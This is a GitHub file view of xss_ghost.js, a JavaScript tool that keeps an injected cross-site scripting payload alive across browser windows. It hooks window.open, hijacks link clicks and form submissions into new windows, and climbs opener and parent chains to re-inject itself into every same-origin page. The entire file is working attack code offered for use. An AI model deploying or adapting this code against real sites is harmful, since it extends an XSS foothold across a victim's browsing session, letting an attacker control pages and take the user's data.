forked from EtherDream/xss_ghost
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathxss_ghost.js
executable file
·306 lines (262 loc) · 7.47 KB
/
xss_ghost.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
var XssGhost = function() {
function module(id, payload, winList, first) {
var window = this;
// debug
window.addEventListener('error', function(e) {
alert('err: ' + e.message);
});
// 使用副本
winList = winList.concat();
function globalCall(win, code, args) {
code = '(' + code + ').apply(this,arguments)';
if (!win.Function) {
return false;
}
var fn = win.Function(code);
fn.apply(null, args || []);
return true;
}
//
// 弹窗钩子
//
var mFnWinOpen = window.open;
window.open = function(url) {
var win = mFnWinOpen.apply(this, arguments);
if (win) {
if (!url || /about:blank/i.test(url)) {
win.__xss_blank = true;
}
welcome(win);
}
return win;
};
// 获取当前超链接元素
function getLinkElem(e) {
var el = e.target;
do {
var tag = el.tagName;
if (tag == 'A' || tag == 'AREA') {
return el;
}
el = el.parentNode;
} while (el != document);
}
// 超链接劫持
function clickHandler(e) {
if (e.defaultPrevented) {
return;
}
var link = getLinkElem(e);
if (!link) {
return;
}
if (!/http|about/.test(link.protocol)) {
return;
}
// 屏蔽默认行为,模拟弹窗
e.preventDefault();
open(link.href);
}
// 表单劫持
function submitHandler(e) {
if (e.defaultPrevented) {
return;
}
// 在新页面中提交
var name = Math.random();
var win = open('', name);
var form = e.target;
form.target = name;
}
// 通知大家,有新页面加入
function broadcast(win) {
enumWinList(function(v) {
var notify;
try {
notify = v.__xss_notify;
} catch(e) {}
if (notify) {
notify(win);
}
});
}
// broadcast 通知接口
window.__xss_notify = function(win) {
var exist;
enumWinList(function(v) {
if (v == win) {
exist = true;
return false;
}
});
if (!exist) {
winList.push(win);
}
};
// 更新所有 Window
function update() {
var newList = [];
// 刷新列表,过滤关闭的窗体
enumWinList(function(v) {
if (v != window) {
check(v);
}
newList.push(v);
});
winList = newList;
}
function enumWinList(callback) {
var n;
try {
// IE 下各种异常
n = winList.length;
} catch(e) {
return;
}
for (var i = 0; i < n; i++) {
var win;
try {
win = winList[i];
if (win.closed) {
continue;
}
} catch (e) {
continue;
}
if (callback(win) === false) {
break;
}
}
}
// 新页面加入
function welcome(win) {
//
// 不同源的 Window 也可以先关注起来,
// 以后转到同源的页面里,仍可控制
//
broadcast(win);
check(win);
}
function isLoadingPage(win) {
return win.location.href == 'about:blank' && !win.__xss_blank;
}
function isSameOrigin(win) {
try {
return !!win.Function;
} catch(e) {
return false;
}
}
// 检测指定的窗口
function check(win) {
if (!isSameOrigin(win)) {
return;
}
if (id in win) {
return; // 已初始化
}
// 注入当前模块到新 Window
if (!win.__xss_injected) {
var args = [
id,
payload,
winList
];
if (!globalCall(win, module, args)) {
return;
}
win.__xss_injected = true;
}
// 过渡页
if (isLoadingPage(win)) {
return;
}
// 过渡完成,正式初始化
var fnInit = win.__xss_init;
if (fnInit) {
fnInit();
// 标记已注入
win[id] = true;
}
}
// 正式初始化
window.__xss_init = function() {
// 执行 XSS 代码
globalCall(window, payload);
// 定时检测页面
setInterval(update, 1000);
document.addEventListener('click', clickHandler);
document.addEventListener('submit', submitHandler);
};
// 关注退出消息
window.addEventListener('message', function(e) {
if (e.data == 'SOS') {
e.stopImmediatePropagation();
//console.warn('SOS');
update();
}
}, true);
// 页面退出事件(刷新或关闭)
window.addEventListener('unload', function() {
// 通知其他页面
enumWinList(function(v) {
if (v != window) {
try {
v.postMessage('SOS', '*');
} catch(e) {}
}
});
});
function injectParent() {
var win = window;
while (win = win.parent) {
welcome(win);
}
}
//
// 注入来源页
// opener 可能不同源,
// 但若 opner.opener 同源,仍然可以控制
//
function injectOpener() {
var win = self;
for (;;) {
try {
win = win.top.opener;
} catch (e) {
break;
}
if (!win) {
break;
}
welcome(win);
}
}
// 注入相关页面
if (first) {
__xss_init();
// 这个版本未考虑子页面
// TODO: 遍历 window.frames
if (self == top) {
injectOpener();
}
}
}
function init(opt) {
// 不考虑老 IE 浏览器了
if (!window.addEventListener) {
return;
}
var id = '__xss_id_' + opt.id;
if (id in window) {
return;
}
window[id] = true;
var payload = opt.payload;
payload();
module(id, payload + '', [window], true);
}
return {
init: init
};
}();